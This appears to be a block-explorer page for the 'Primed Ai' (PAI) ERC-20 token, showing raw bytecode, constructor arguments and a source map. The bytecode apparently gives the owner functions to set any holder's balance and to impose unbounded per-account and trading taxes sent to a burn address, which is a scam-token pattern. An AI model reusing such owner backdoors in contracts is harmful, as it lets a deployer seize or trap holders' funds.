332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611e446025836116ce565b9150611e4f82611de8565b604082019050919050565b60006020820190508181036000830152611e7381611e37565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611ed66023836116ce565b9150611ee182611e7a565b604082019050919050565b60006020820190508181036000830152611f0581611ec9565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611f686026836116ce565b9150611f7382611f0c565b604082019050919050565b60006020820190508181036000830152611f9781611f5b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611fd8826117d8565b9150611fe3836117d8565b9250828203905081811115611ffb57611ffa611f9e565b5b92915050565b600061200c826117d8565b9150612017836117d8565b9250828202612025816117d8565b9150828204841483151761203c5761203b611f9e565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061207d826117d8565b9150612088836117d8565b92508261209857612097612043565b5b828204905092915050565b60006120ae826117d8565b91506120b9836117d8565b92508282019050808211156120d1576120d0611f9e565b5b9291505056fea2646970667358221220b907e99a87a17a4137533a5d186da54ff08891992635ba469543981601a2160264736f6c63430008130033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000005f5e10000000000000000000000000000000000000000000000000000000000000000095072696d6564204169000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000035041490000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a257806390ec57f11161007157806390ec57f1146102b957806395d89b41146102d5578063a9059cbb146102f3578063dd62ed3e14610323578063f2fde38b1461035357610116565b806370a0823114610245578063715018a6146102755780638187f5161461027f5780638da5cb5b1461029b57610116565b806313b2a23e116100e957806313b2a23e146101a157806318160ddd146101bd57806323b872dd146101db578063313ce5671461020b5780634db23e3e1461022957610116565b806306fdde031461011b578063095ea7b31461013957806310bad4cf1461016957806311e330b214610185575b600080fd5b61012361036f565b6040516101309190611753565b60405180910390f35b610153600480360381019061014e919061180e565b610401565b6040516101609190611869565b60405180910390f35b610183600480360381019061017e9190611884565b610424565b005b61019f600480360381019061019a9190611884565b6104aa565b005b6101bb60048036038101906101b691906118dd565b610530565b005b6101c5610607565b6040516101d2919061192c565b60405180910390f35b6101f560048036038101906101f09190611947565b610611565b6040516102029190611869565b60405180910390f35b610213610640565b60405161022091906119b6565b60405180910390f35b610243600480360381019061023e919061180e565b610649565b005b61025f600480360381019061025a91906119d1565b61070d565b60405161026c919061192c565b60405180910390f35b61027d610756565b005b610299600480360381019061029491906119d1565b6107de565b005b6102a361089e565b6040516102b09190611a0d565b60405180910390f35b6102d360048036038101906102ce919061180e565b6108c8565b005b6102dd6109d0565b6040516102ea9190611753565b60405180910390f35b61030d6004803603810190610308919061180e565b610a62565b60405161031a9190611869565b60405180910390f35b61033d60048036038101906103389190611a28565b610a80565b60405161034a919061192c565b60405180910390f35b61036d600480360381019061036891906119d1565b610b06565b005b60606002805461037e90611a97565b80601f01602080910402602001604051908101604052809291908181526020018280546103aa90611a97565b80156103f75780601f106103cc576101008083540402835291602001916103f7565b820191906000526020600020905b8154815290600101906020018083116103da57829003601f168201915b5050505050905090565b60008061040c610bfd565b9050610419818585610c05565b600191505092915050565b61042c610bfd565b73ffffffffffffffffffffffffffffffffffffffff1661044a61089e565b73ffffffffffffffffffffffffffffffffffffffff16146104a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049790611b14565b60405180910390fd5b8060088190555050565b6104b2610bfd565b73ffffffffffffffffffffffffffffffffffffffff166104d061089e565b73ffffffffffffffffffffffffffffffffffffffff1614610526576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161051d90611b14565b60405180910390fd5b8060098190555050565b610538610bfd565b73ffffffffffffffffffffffffffffffffffffffff1661055661089e565b73ffffffffffffffffffffffffffffffffffffffff16146105ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a390611b14565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600154905090565b60008061061c610bfd565b9050610629858285610dcd565b610634858585610e59565b60019150509392505050565b60006012905090565b610651610bfd565b73ffffffffffffffffffffffffffffffffffffffff1661066f61089e565b73ffffffffffffffffffffffffffffffffffffffff16146106c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106bc90611b14565b60405180910390fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61075e610bfd565b73ffffffffffffffffffffffffffffffffffffffff1661077c61089e565b73ffffffffffffffffffffffffffffffffffffffff16146107d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c990611b14565b60405180910390fd5b6107dc60006114fa565b565b6107e6610bfd565b73ffffffffffffffffffffffffffffffffffffffff1661080461089e565b73ffffffffffffffffffffffffffffffffffffffff161461085a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085190611b14565b60405180910390fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6108d0610bfd565b73ffffffffffffffffffffffffffffffffffffffff166108ee61089e565b73ffffffffffffffffffffffffffffffffffffffff1614610944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093b90611b14565b60405180910390fd5b6000811015610988576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097f90611ba6565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6060600380546109df90611a97565b80601f0160208091040260200160405190810160405280929190818152602001828054610a0b90611a97565b8015610a585780601f10610a2d57610100808354040283529160200191610a58565b820191906000526020600020905b815481529060010190602001808311610a3b57829003601f168201915b5050505050905090565b6000610a76610a6f610bfd565b8484610e59565b6001905092915050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b0e610bfd565b73ffffffffffffffffffffffffffffffffffffffff16610b2c61089e565b73ffffffffffffffffffffffffffffffffffffffff1614610b82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7990611b14565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610bf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be890611c38565b60405180910390fd5b610bfa816114fa565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6b90611cca565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ce3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cda90611d5c565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610dc0919061192c565b60405180910390a3505050565b6000610dd98484610a80565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610e535781811015610e45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3c90611dc8565b60405180910390fd5b610e528484848403610c05565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ec8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebf90611e5a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2e90611eec565b60405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610fbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb590611f7e565b60405180910390fd5b600060019050610fce85856115c0565b15610fd857600090505b600081156111a35760008073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ee57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036110925760095490505b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036110ed5760085490505b5b6000600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561117957600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b61119f6064611191838861166b90919063ffffffff16565b61168190919063ffffffff16565b9150505b6000811115611342576111fe81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169790919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611295816005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116ad90919063ffffffff16565b6005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611339919061192c565b60405180910390a35b61139f81856113519190611fcd565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169790919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061143f81856113f19190611fcd565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116ad90919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83876114dd9190611fcd565b6040516114ea919061192c565b60405180910390a3505050505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116635750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b600081836116799190612001565b905092915050565b6000818361168f9190612072565b905092915050565b600081836116a59190611fcd565b905092915050565b600081836116bb91906120a3565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156116fd5780820151818401526020810190506116e2565b60008484015250505050565b6000601f19601f8301169050919050565b6000611725826116c3565b61172f81856116ce565b935061173f8185602086016116df565b61174881611709565b840191505092915050565b6000602082019050818103600083015261176d818461171a565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117a58261177a565b9050919050565b6117b58161179a565b81146117c057600080fd5b50565b6000813590506117d2816117ac565b92915050565b6000819050919050565b6117eb816117d8565b81146117f657600080fd5b50565b600081359050611808816117e2565b92915050565b6000806040838503121561182557611824611775565b5b6000611833858286016117c3565b9250506020611844858286016117f9565b9150509250929050565b60008115159050919050565b6118638161184e565b82525050565b600060208201905061187e600083018461185a565b92915050565b60006020828403121561189a57611899611775565b5b60006118a8848285016117f9565b91505092915050565b6118ba8161184e565b81146118c557600080fd5b50565b6000813590506118d7816118b1565b92915050565b600080604083850312156118f4576118f3611775565b5b6000611902858286016117c3565b9250506020611913858286016118c8565b9150509250929050565b611926816117d8565b82525050565b6000602082019050611941600083018461191d565b92915050565b6000806000606084860312156119605761195f611775565b5b600061196e868287016117c3565b935050602061197f868287016117c3565b9250506040611990868287016117f9565b9150509250925092565b600060ff82169050919050565b6119b08161199a565b82525050565b60006020820190506119cb60008301846119a7565b92915050565b6000602082840312156119e7576119e6611775565b5b60006119f5848285016117c3565b91505092915050565b611a078161179a565b82525050565b6000602082019050611a2260008301846119fe565b92915050565b60008060408385031215611a3f57611a3e611775565b5b6000611a4d858286016117c3565b9250506020611a5e858286016117c3565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611aaf57607f821691505b602082108103611ac257611ac1611a68565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e6572600082015250565b6000611afe6020836116ce565b9150611b0982611ac8565b602082019050919050565b60006020820190508181036000830152611b2d81611af1565b9050919050565b7f4163636f756e7420746178206d7573742062652067726561746572207468616e60008201527f206f7220657175616c20746f2030000000000000000000000000000000000000602082015250565b6000611b90602e836116ce565b9150611b9b82611b34565b604082019050919050565b60006020820190508181036000830152611bbf81611b83565b9050919050565b7f4f776e61626c653a206e6577204f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611c226026836116ce565b9150611c2d82611bc6565b604082019050919050565b60006020820190508181036000830152611c5181611c15565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611cb46024836116ce565b9150611cbf82611c58565b604082019050919050565b60006020820190508181036000830152611ce381611ca7565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611d466022836116ce565b9150611d5182611cea565b604082019050919050565b60006020820190508181036000830152611d7581611d39565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611db2601d836116ce565b9150611dbd82611d7c565b602082019050919050565b60006020820190508181036000830152611de181611da5565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611e446025836116ce565b9150611e4f82611de8565b604082019050919050565b60006020820190508181036000830152611e7381611e37565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611ed66023836116ce565b9150611ee182611e7a565b604082019050919050565b60006020820190508181036000830152611f0581611ec9565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611f686026836116ce565b9150611f7382611f0c565b604082019050919050565b60006020820190508181036000830152611f9781611f5b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611fd8826117d8565b9150611fe3836117d8565b9250828203905081811115611ffb57611ffa611f9e565b5b92915050565b600061200c826117d8565b9150612017836117d8565b9250828202612025816117d8565b9150828204841483151761203c5761203b611f9e565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061207d826117d8565b9150612088836117d8565b92508261209857612097612043565b5b828204905092915050565b60006120ae826117d8565b91506120b9836117d8565b92508282019050808211156120d1576120d0611f9e565b5b9291505056fea2646970667358221220b907e99a87a17a4137533a5d186da54ff08891992635ba469543981601a2160264736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000005f5e10000000000000000000000000000000000000000000000000000000000000000095072696d6564204169000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000035041490000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Primed Ai
Arg [1] : symbol_ (string): PAI
Arg [2] : totalSupply_ (uint256): 100000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000000000000000000000000000000000000005f5e100
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [4] : 5072696d65642041690000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [6] : 5041490000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

4708:4004:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3111:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3662:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7720:97;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7614:98;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8029:111;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3405:99;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8423:286;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3313:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8148:107;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7371:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;796:103;;;:::i;:::-;;7497:109;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;573:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7825:196;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3210:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8263:152;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3512:142;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;907:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3111:91;3156:13;3189:5;3182:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3111:91;:::o;3662:192::-;3736:4;3753:13;3769:12;:10;:12::i;:::-;3753:28;;3792:32;3801:5;3808:7;3817:6;3792:8;:32::i;:::-;3842:4;3835:11;;;3662:192;;;;:::o;7720:97::-;719:12;:10;:12::i;:::-;708:23;;:7;:5;:7::i;:::-;:23;;;700:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7803:6:::1;7793:7;:16;;;;7720:97:::0;:::o;7614:98::-;719:12;:10;:12::i;:::-;708:23;;:7;:5;:7::i;:::-;:23;;;700:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7698:6:::1;7687:8;:17;;;;7614:98:::0;:::o;8029:111::-;719:12;:10;:12::i;:::-;708:23;;:7;:5;:7::i;:::-;:23;;;700:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8126:6:::1;8107;:16;8114:8;8107:16;;;;;;;;;;;;;;;;:25;;;;;;;;;;;;;;;;;;8029:111:::0;;:::o;3405:99::-;3457:7;3484:12;;3477:19;;3405:99;:::o;8423:286::-;8545:4;8562:15;8580:12;:10;:12::i;:::-;8562:30;;8603:38;8619:4;8625:7;8634:6;8603:15;:38::i;:::-;8652:27;8662:4;8668:2;8672:6;8652:9;:27::i;:::-;8697:4;8690:11;;;8423:286;;;;;:::o;3313:84::-;3362:5;3387:2;3380:9;;3313:84;:::o;8148:107::-;719:12;:10;:12::i;:::-;708:23;;:7;:5;:7::i;:::-;:23;;;700:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8241:6:::1;8225:9;:13;8235:2;8225:13;;;;;;;;;;;;;;;:22;;;;8148:107:::0;;:::o;7371:118::-;7436:7;7463:9;:18;7473:7;7463:18;;;;;;;;;;;;;;;;7456:25;;7371:118;;;:::o;796:103::-;719:12;:10;:12::i;:::-;708:23;;:7;:5;:7::i;:::-;:23;;;700:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;861:30:::1;888:1;861:18;:30::i;:::-;796:103::o:0;7497:109::-;719:12;:10;:12::i;:::-;708:23;;:7;:5;:7::i;:::-;:23;;;700:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7584:14:::1;7568:13;;:30;;;;;;;;;;;;;;;;;;7497:109:::0;:::o;573:87::-;619:7;646:6;;;;;;;;;;;639:13;;573:87;:::o;7825:196::-;719:12;:10;:12::i;:::-;708:23;;:7;:5;:7::i;:::-;:23;;;700:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7924:1:::1;7914:6;:11;;7906:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;8007:6;7987:7;:17;7995:8;7987:17;;;;;;;;;;;;;;;:26;;;;7825:196:::0;;:::o;3210:95::-;3257:13;3290:7;3283:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3210:95;:::o;8263:152::-;8333:4;8350:35;8360:12;:10;:12::i;:::-;8374:2;8378:6;8350:9;:35::i;:::-;8403:4;8396:11;;8263:152;;;;:::o;3512:142::-;3592:7;3619:11;:18;3631:5;3619:18;;;;;;;;;;;;;;;:27;3638:7;3619:27;;;;;;;;;;;;;;;;3612:34;;3512:142;;;;:::o;907:201::-;719:12;:10;:12::i;:::-;708:23;;:7;:5;:7::i;:::-;:23;;;700:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1016:1:::1;996:22;;:8;:22;;::::0;988:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;1072:28;1091:8;1072:18;:28::i;:::-;907:201:::0;:::o;224:98::-;277:7;304:10;297:17;;224:98;:::o;3862:378::-;4015:1;3998:19;;:5;:19;;;3990:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4096:1;4077:21;;:7;:21;;;4069:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4178:6;4148:11;:18;4160:5;4148:18;;;;;;;;;;;;;;;:27;4167:7;4148:27;;;;;;;;;;;;;;;:36;;;;4216:7;4200:32;;4209:5;4200:32;;;4225:6;4200:32;;;;;;:::i;:::-;;;;;;;;3862:378;;;:::o;4248:453::-;4383:24;4410:25;4420:5;4427:7;4410:9;:25::i;:::-;4383:52;;4470:17;4450:16;:37;4446:248;;4532:6;4512:16;:26;;4504:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4616:51;4625:5;4632:7;4660:6;4641:16;:25;4616:8;:51::i;:::-;4446:248;4372:329;4248:453;;;:::o;5709:1512::-;5857:1;5841:18;;:4;:18;;;5833:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5934:1;5920:16;;:2;:16;;;5912:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;5987:19;6009:9;:15;6019:4;6009:15;;;;;;;;;;;;;;;;5987:37;;6058:7;6043:11;:22;;6035:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;6119:7;6129:4;6119:14;;6148:27;6166:4;6172:2;6148:17;:27::i;:::-;6144:70;;;6197:5;6192:10;;6144:70;6224:22;6265:2;6261:487;;;6284:16;6348:1;6323:27;;:13;;;;;;;;;;;:27;;;6319:260;;6381:13;;;;;;;;;;;6375:19;;:2;:19;;;6371:87;;6430:8;;6419:19;;6371:87;6488:13;;;;;;;;;;;6480:21;;:4;:21;;;6476:88;;6537:7;;6526:18;;6476:88;6319:260;6613:1;6597:7;:13;6605:4;6597:13;;;;;;;;;;;;;;;;:17;6593:82;;;6646:7;:13;6654:4;6646:13;;;;;;;;;;;;;;;;6635:24;;6593:82;6706:30;6732:3;6706:21;6718:8;6706:7;:11;;:21;;;;:::i;:::-;:25;;:30;;;;:::i;:::-;6689:47;;6269:479;6261:487;6779:1;6762:14;:18;6758:252;;;6815:35;6835:14;6815:9;:15;6825:4;6815:15;;;;;;;;;;;;;;;;:19;;:35;;;;:::i;:::-;6797:9;:15;6807:4;6797:15;;;;;;;;;;;;;;;:53;;;;6891:43;6919:14;6891:9;:23;5079:42;6891:23;;;;;;;;;;;;;;;;:27;;:43;;;;:::i;:::-;6865:9;:23;5079:42;6865:23;;;;;;;;;;;;;;;:69;;;;5079:42;6954:44;;6963:4;6954:44;;;6983:14;6954:44;;;;;;:::i;:::-;;;;;;;;6758:252;7038:45;7068:14;7058:7;:24;;;;:::i;:::-;7038:9;:15;7048:4;7038:15;;;;;;;;;;;;;;;;:19;;:45;;;;:::i;:::-;7020:9;:15;7030:4;7020:15;;;;;;;;;;;;;;;:63;;;;7110:43;7138:14;7128:7;:24;;;;:::i;:::-;7110:9;:13;7120:2;7110:13;;;;;;;;;;;;;;;;:17;;:43;;;;:::i;:::-;7094:9;:13;7104:2;7094:13;;;;;;;;;;;;;;;:59;;;;7184:2;7169:44;;7178:4;7169:44;;;7198:14;7188:7;:24;;;;:::i;:::-;7169:44;;;;;;:::i;:::-;;;;;;;;5822:1399;;;5709:1512;;;:::o;1116:191::-;1190:16;1209:6;;;;;;;;;;;1190:25;;1235:8;1226:6;;:17;;;;;;;;;;;;;;;;;;1290:8;1259:40;;1280:8;1259:40;;;;;;;;;;;;1179:128;1116:191;:::o;7229:134::-;7305:4;7329:6;:12;7336:4;7329:12;;;;;;;;;;;;;;;;;;;;;;;;;:26;;;;7345:6;:10;7352:2;7345:10;;;;;;;;;;;;;;;;;;;;;;;;;7329:26;7322:33;;7229:134;;;;:::o;1555:98::-;1613:7;1644:1;1640;:5;;;;:::i;:::-;1633:12;;1555:98;;;;:::o;1661:::-;1719:7;1750:1;1746;:5;;;;:::i;:::-;1739:12;;1661:98;;;;:::o;1449:::-;1507:7;1538:1;1534;:5;;;;:::i;:::-;1527:12;;1449:98;;;;:::o;1343:::-;1401:7;1432:1;1428;:5;;;;:::i;:::-;1421:12;;1343:98;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-